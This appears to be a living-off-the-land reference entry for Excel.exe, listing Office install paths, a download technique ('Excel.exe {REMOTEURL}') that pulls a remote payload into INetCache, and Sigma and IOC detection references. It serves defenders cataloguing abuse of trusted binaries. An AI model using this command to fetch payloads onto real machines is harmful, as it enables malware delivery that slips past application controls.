Excel.exe
Microsoft Office binary
Paths
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exeC:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exeC:\Program Files (x86)\Microsoft Office\Office16\Excel.exeC:\Program Files\Microsoft Office\Office16\Excel.exeC:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exeC:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exeC:\Program Files (x86)\Microsoft Office\Office15\Excel.exeC:\Program Files\Microsoft Office\Office15\Excel.exeC:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exeC:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exeC:\Program Files (x86)\Microsoft Office\Office14\Excel.exeC:\Program Files\Microsoft Office\Office14\Excel.exeC:\Program Files (x86)\Microsoft Office\Office12\Excel.exeC:\Program Files\Microsoft Office\Office12\Excel.exeC:\Program Files\Microsoft Office\Office12\Excel.exe
Commands
Download
Downloads payload from remote server
Use case: It will download a remote payload and place it in INetCache.
Privileges: User
Excel.exe {REMOTEURL}
Detection
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml
- IOC: Suspicious Office application Internet/network traffic